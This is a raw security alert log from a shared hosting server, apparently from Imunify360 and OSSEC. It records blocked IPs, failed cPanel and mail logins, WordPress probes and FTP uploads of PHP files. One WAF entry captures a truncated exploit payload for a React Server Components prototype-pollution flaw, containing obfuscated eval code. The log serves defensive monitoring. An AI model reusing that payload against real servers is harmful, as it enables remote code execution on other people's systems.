rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.178.71.217
country_id: 1814991
description:
Jun 13 05:32:10 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.178.71.217 has been locked due to Imunify RBL


plugin: ossec
rule: 11313
name: FTP file uploaded to server
description:
Jun 13 05:33:28 ns5 pure-ftpd[2182269]: (laun@launetogo.tg@vps-ff8b824d.vps.ovh.net) [NOTICE] //home/zmmjcejv/public_html/28220-2/index.php uploaded  (0 bytes, 0.00KB/sec)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.232.243.59
country_id: 1814991
description:
Jun 13 05:33:32 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.232.243.59 has been locked due to Imunify RBL


plugin: modsec
rule: 77093094
abuser: 35.192.232.168
country_id: 6252001
domain: ortouche.com
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"data_9b6d99b7\":\"0dbac9d86b43dd62\",\"then\":\"$1:__proto__:then\",\"__fba78fed\":null,\"$06ee298b\":\"default\",\"status\":\"resolved_model\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"_response\":{\"_prefix\":\"var ddcf=[].slice.call(arguments,1)[0];var hsq=ddcf;try{var _v=((0,eval)(global[\\\"\\\\x42\\\\x75\\\\x66\\\\x66\\\\x65\\\\x72\\\


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.97.67
country_id: 798544
description:
Jun 13 05:33:29 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.97.67 has been locked due to Imunify RBL


plugin: ossec
rule: 11313
name: FTP file uploaded to server
description:
Jun 13 05:34:44 ns5 pure-ftpd[2183700]: (laun@launetogo.tg@vps-ff8b824d.vps.ovh.net) [NOTICE] //home/zmmjcejv/public_html/28220-2/index.php uploaded  (395320 bytes, 586.15KB/sec)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 223.123.43.70
country_id: 1168579
description:
223.123.43.70 - - [13/Jun/2026:05:33:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12884841&pdata=https%253A%252F%252Fcfpj.tg%252Fnadu-200281retidm93dar.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781328824 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/nadu-200281retidm93dar.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:223.123.43.70


plugin: ossec
rule: 11313
name: FTP file uploaded to server
description:
Jun 13 05:36:09 ns5 pure-ftpd[2185264]: (laun@launetogo.tg@vps-ff8b824d.vps.ovh.net) [NOTICE] //home/zmmjcejv/public_html/new.php uploaded  (16372 bytes, 72.30KB/sec)


plugin: ossec
rule: 11313
name: FTP file uploaded to server
description:
Jun 13 05:36:28 ns5 pure-ftpd[2185891]: (laun@launetogo.tg@vps-ff8b824d.vps.ovh.net) [NOTICE] //home/zmmjcejv/public_html/new.php uploaded  (15907 bytes, 139.05KB/sec)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.247.67.3
country_id: 290557
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/plugins/gtranslate/js/float.js?ver=6.9.4 HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11313
name: FTP file uploaded to server
description:
Jun 13 05:37:22 ns5 pure-ftpd[2188740]: (laun@launetogo.tg@vps-ff8b824d.vps.ovh.net) [NOTICE] //home/zmmjcejv/public_html/wp-content/28220-2/index.html uploaded  (0 bytes, 0.00KB/sec)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.26.252.159
country_id: 6252001
description:
Jun 13 05:38:23 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.26.252.159 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.149
country_id: 1880251
description:
47.128.96.149 - - [13/Jun/2026:05:44:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6645194&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fnsia-vie-assurances%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781329442 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/nsia-vie-assurances/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.149


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.68.148.0
country_id: 2017370
description:
Jun 13 05:44:06 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.68.148.0 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.98.41.27
country_id: 1269750
description:
Jun 13 05:46:01 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 59.98.41.27 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.232.243.59
country_id: 1814991
description:
Jun 13 05:46:55 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.232.243.59 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.19
country_id: 1880251
description:
47.128.96.19 - - [13/Jun/2026:05:47:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9923942&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fridef-2024%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781329671 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/ridef-2024/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.19


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.178.71.217
country_id: 1814991
description:
Jun 13 05:48:54 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.178.71.217 has been locked due to Imunify RBL


plugin: ossec
rule: 11314
name: FTP file deleted from server
description:
Jun 13 05:49:45 ns5 pure-ftpd[2195805]: (laun@launetogo.tg@vps-ff8b824d.vps.ovh.net) [NOTICE] Deleted //home/zmmjcejv/public_html/new.php


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.5.203
country_id: 2363686
description:
[2026-06-13 05:49:50 +0000] info [cpaneld] 196.171.5.203 - pnls "GET /cpsess7577442776/frontend/jupiter/index.html?=undefined&login=1&post_login=9400078006463 HTTP/1.1" DEFERRED LOGIN cpaneld: security token incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 197.133.113.84
country_id: 357994
description:
[2026-06-13 05:50:06 +0000] info [cpaneld] 197.133.113.84 - myxlsnta "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.96.8
country_id: 3469034
description:
Jun 13 05:49:16 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.96.8 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun 13 05:49:52 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-13 05:49:54 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:61284: 535 Incorrect authentication data (set_id=abcde12345)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.171.8.135
country_id: 2363686
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/conseil-des-ministres-environnement-nucleaire-et-gouvernance-au-coeur-des-decisions-du-6-mai-2026/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.171.8.135
country_id: 2363686
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/conseil-des-ministres-environnement-nucleaire-et-gouvernance-au-coeur-des-decisions-du-6-mai-2026/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 212.237.120.169
country_id: 99237
description:
[2026-06-13 05:51:52 +0000] info [cpaneld] 212.237.120.169 - kpmg "GET /login/?login_only=1&user=kpmg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.26.252.159
country_id: 6252001
description:
Jun 13 05:51:59 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.26.252.159 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.115.223.175
country_id: 2542007
description:
[2026-06-13 05:52:00 +0000] info [cpaneld] 196.115.223.175 - kpm "GET /login/?login_only=1&user=kpm&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kpm (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.165.207.53
country_id: 3469034
description:
[2026-06-13 05:51:49 +0000] info [cpaneld] 45.165.207.53 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.10.141.230
country_id: 3895114
description:
[2026-06-13 05:52:03 +0000] info [cpaneld] 186.10.141.230 - kp "GET /login/?login_only=1&user=kp&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kp (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.7.47.76
country_id: 3865483
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/albums/page/5 HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.232.243.59
country_id: 1814991
description:
Jun 13 06:00:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.232.243.59 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [13/Jun/2026:06:04:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6908782&pdata=http%253A%252F%252F1l7yem.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781330658 HTTP/1.1" 302 0 1l7yem.mediatopnews.tg "http://1l7yem.mediatopnews.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.26.252.159
country_id: 6252001
description:
Jun 13 06:05:34 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.26.252.159 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.128.39.206
country_id: 3686110
description:
[2026-06-13 06:07:45 +0000] info [cpaneld] 181.128.39.206 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 138.0.99.117
country_id: 3469034
description:
[2026-06-13 06:07:59 +0000] info [cpaneld] 138.0.99.117 - maci "GET /login/?login_only=1&user=maci&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user maci (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 79.115.136.69
country_id: 798549
description:
[2026-06-13 06:08:01 +0000] info [cpaneld] 79.115.136.69 - mac "GET /login/?login_only=1&user=mac&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mac (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 191.85.3.215
country_id: 3865483
description:
[2026-06-13 06:08:04 +0000] info [cpaneld] 191.85.3.215 - ma "GET /login/?login_only=1&user=ma&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ma (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.252.10.3
country_id: 1835841
description:
2026-06-13 06:09:07 dovecot_login authenticator failed for H=(bl23-64-8.dsl.telepac.pt) [203.252.10.3]:58717: 535 Incorrect authentication data (set_id=dev@soena.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.28.162.11
country_id: 1880251
description:
104.28.162.11 - - [13/Jun/2026:06:08:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9936330&pdata=https%253A%252F%252Fdankpen1.mairie.tg%252Fadministration%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781330917 HTTP/2.0" 302 0 dankpen1.mairie.tg "https://dankpen1.mairie.tg/administration/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.28.162.11


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.252.10.3
country_id: 1835841
description:
Jun 13 06:09:05 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.252.10.3 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.20
country_id: 6252001
description:
205.169.39.20 - - [13/Jun/2026:06:12:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9999007&pdata=http%253A%252F%252Fwww.snb-togotg.snb.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781331154 HTTP/1.1" 302 0 www.snb-togotg.snb.tg "http://www.snb-togotg.snb.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.20


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.232.243.59
country_id: 1814991
description:
Jun 13 06:13:46 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.232.243.59 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.224.67.130
country_id: 3895114
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/album/djama-en-fete-baguida-1 HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 43.163.4.16
country_id: 1880251
description:
43.163.4.16 - - [13/Jun/2026:06:15:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12742859&pdata=http%253A%252F%252Ftogodailynews.tg%252Ftelecoms-yas-togo-decroche-deux-trophees-internationaux-pour-ses-performances%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781331355 HTTP/1.1" 302 0 togodailynews.tg "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.163.4.16


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.26.252.159
country_id: 6252001
description:
Jun 13 06:19:11 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.26.252.159 has been locked due to Imunify RBL


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 34.23.104.18
country_id: 6252001
domain: sodigaz.tg.154-70-82-246.cpanel.site
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.15||T:APACHE||REQUEST_URI:/web/wp-includes/wlwmanifest.xml||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 36.70.11.90
country_id: 1643084
description:
[2026-06-13 06:24:48 +0000] info [cpaneld] 36.70.11.90 - 2002281 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 105.155.55.78
country_id: 2542007
description:
[2026-06-13 06:27:04 +0000] info [cpaneld] 105.155.55.78 - czqxxxnu "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: User czqxxxnu has their account suspended. Login blocked.


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 145.239.138.189
country_id: 3017382
domain: cafe.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cafe.tg/wp-json/wp/v2/posts HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.17
country_id: 798544
description:
Jun 13 06:32:32 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.26.252.159
country_id: 6252001
description:
Jun 13 06:32:47 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.26.252.159 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 200.124.167.127
country_id: 3469034
description:
[2026-06-13 06:34:49 +0000] info [cpaneld] 200.124.167.127 - la "GET /login/?login_only=1&user=la&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user la (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 181.78.67.170
country_id: 3686110
description:
181.78.67.170 - - [13/Jun/2026:06:34:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9804957&pdata=https%253A%252F%252Ftogodailynews.tg%252Felectricite-des-coupures-annoncees-du-26-au-30-mars-a-lome-les-efforts-pour-un-retour-a-la-normale-sintensifient%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781332463 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/electricite-des-coupures-annoncees-du-26-au-30-mars-a-lome-les-efforts-pour-un-retour-a-la-normale-sintensifient/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2577.1891 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:181.78.67.170


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.24.16.191
country_id: 1210997
description:
[2026-06-13 06:34:27 +0000] info [cpaneld] 103.24.16.191 - launetogotg "GET /login/?login_only=1&user=launetogotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user launetogotg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.232.245.26
country_id: 3469034
description:
[2026-06-13 06:34:42 +0000] info [cpaneld] 45.232.245.26 - laun "GET /login/?login_only=1&user=laun&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user laun (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 132.255.113.33
country_id: 3865483
description:
[2026-06-13 06:34:21 +0000] info [cpaneld] 132.255.113.33 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.165.224.73
country_id: 2017370
description:
[2026-06-13 06:34:23 +0000] info [cpaneld] 5.165.224.73 - launetogo "GET /login/?login_only=1&user=launetogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user launetogo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.203.132.241
country_id: 3996063
description:
[2026-06-13 06:34:35 +0000] info [cpaneld] 189.203.132.241 - launet "GET /login/?login_only=1&user=launet&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user launet (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun 13 06:36:11 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-13 06:36:13 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:65137: 535 Incorrect authentication data (set_id=abcde12345)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.234.202.15
country_id: 1210997
description:
103.234.202.15 - - [13/Jun/2026:06:36:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7170964&pdata=https%253A%252F%252Ftogodailynews.tg%252Felectricite-des-coupures-annoncees-du-26-au-30-mars-a-lome-les-efforts-pour-un-retour-a-la-normale-sintensifient%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781332600 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/electricite-des-coupures-annoncees-du-26-au-30-mars-a-lome-les-efforts-pour-un-retour-a-la-normale-sintensifient/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.7984.1544 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.234.202.15


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.174.145.35
country_id: 1269750
description:
Jun 13 06:38:04 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.174.145.35 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.174.145.35
country_id: 1269750
description:
2026-06-13 06:38:06 dovecot_login authenticator failed for H=([49.124.152.158]) [103.174.145.35]:38509: 535 Incorrect authentication data (set_id=wages@wages.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 114.130.98.27
country_id: 1210997
description:
114.130.98.27 - - [13/Jun/2026:06:40:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9923945&pdata=https%253A%252F%252Ftogodailynews.tg%252Fdysfonctionnement-de-la-plateforme-de-gestion-de-voyage-le-gouvernement-donne-des-raisons-et-rassure-les-voyageurs%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781332815 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/dysfonctionnement-de-la-plateforme-de-gestion-de-voyage-le-gouvernement-donne-des-raisons-et-rassure-les-voyageurs/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.7923.1861 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:114.130.98.27


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.232.243.59
country_id: 1814991
description:
Jun 13 06:40:49 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.232.243.59 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.32
country_id: 3175395
description:
Jun 13 06:43:26 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.32 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 43.134.65.138
country_id: 1880251
description:
43.134.65.138 - - [13/Jun/2026:06:43:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6591900&pdata=http%253A%252F%252Ftogodailynews.tg%252Ftogo-3-nouveaux-cas-confirmes-portant-a-76-le-nombre-total-de-cas-confirmes-a-ce-jour%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781333010 HTTP/1.1" 302 0 togodailynews.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.134.65.138


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 78.186.54.65
country_id: 298795
description:
Jun 13 06:43:57 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 78.186.54.65 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.186.54.65
country_id: 298795
description:
2026-06-13 06:43:59 dovecot_login authenticator failed for H=(ipmapt-72-195-114-165.oc.oc.cox.net) [78.186.54.65]:55824: 535 Incorrect authentication data (set_id=dev@dany2.mairie.tg)


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 62.60.131.165
country_id: 130758
domain: c2ie.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.15||T:APACHE||MV:/wp-json/wp/v2/users?per_page=100&_fields=slug,locale||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 23.80.153.246
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:06-46.23.80.153.246||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.26.252.159
country_id: 6252001
description:
Jun 13 06:46:23 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.26.252.159 has been locked due to Imunify RBL


plugin: ossec
rule: 11313
name: FTP file uploaded to server
description:
Jun 13 06:49:59 ns5 pure-ftpd[2227251]: (laun@launetogo.tg@vps-ff8b824d.vps.ovh.net) [NOTICE] //home/zmmjcejv/public_html/tg.php uploaded  (0 bytes, 0.00KB/sec)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.107.168.255
country_id: 2921044
description:
2026-06-13 06:49:27 dovecot_login authenticator failed for H=static.255.168.107.91.clients.your-server.de (91.107.168.255) [91.107.168.255]:43542: 535 Incorrect authentication data


plugin: ossec
rule: 11305
name: Attempt to access invalid directory
description:
Jun 13 06:53:02 ns5 pure-ftpd[2228895]: (laun@launetogo.tg@vps-ff8b824d.vps.ovh.net) [INFO] Can't change directory to /home/zmmjcejv/public_html/index.php: Not a directory


plugin: ossec
rule: 11313
name: FTP file uploaded to server
description:
Jun 13 06:52:20 ns5 pure-ftpd[2228540]: (laun@launetogo.tg@vps-ff8b824d.vps.ovh.net) [NOTICE] //home/zmmjcejv/public_html/tg.php uploaded  (511827 bytes, 757.18KB/sec)


plugin: modsec
rule: 77093094
abuser: 98.92.97.151
country_id: 6252001
domain: recorvery.lacs1.mairie.tg
description:
